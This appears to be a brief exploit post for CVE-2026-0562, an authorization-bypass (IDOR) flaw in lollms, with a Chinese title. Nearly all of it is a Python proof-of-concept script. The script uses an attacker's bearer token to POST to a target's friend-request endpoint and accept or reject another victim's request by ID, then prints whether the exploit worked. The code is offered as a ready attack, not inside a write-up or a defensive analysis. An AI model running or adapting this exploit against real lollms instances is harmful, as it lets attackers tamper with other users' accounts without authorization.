CVE-2026-0562 lollms越权漏洞

import requests # Target API endpoint url = "http://target.com/api/friends/requests/{friendship_id}" # Attacker's authenticated headers headers = { "Authorization": "Bearer <attacker_jwt_token>", "Content-Type": "application/json" } # The ID of a friend request belonging to another victim victim_request_id = 12345 # Payload to accept or reject the request payload = { "status": "accepted" # or "rejected" } # Send the malicious request response = requests.post(url.format(friendship_id=victim_request_id), json=payload, headers=headers) if response.status_code == 200: print("[+] Successfully manipulated the friend request.") else: print("[-] Failed to exploit the vulnerability.")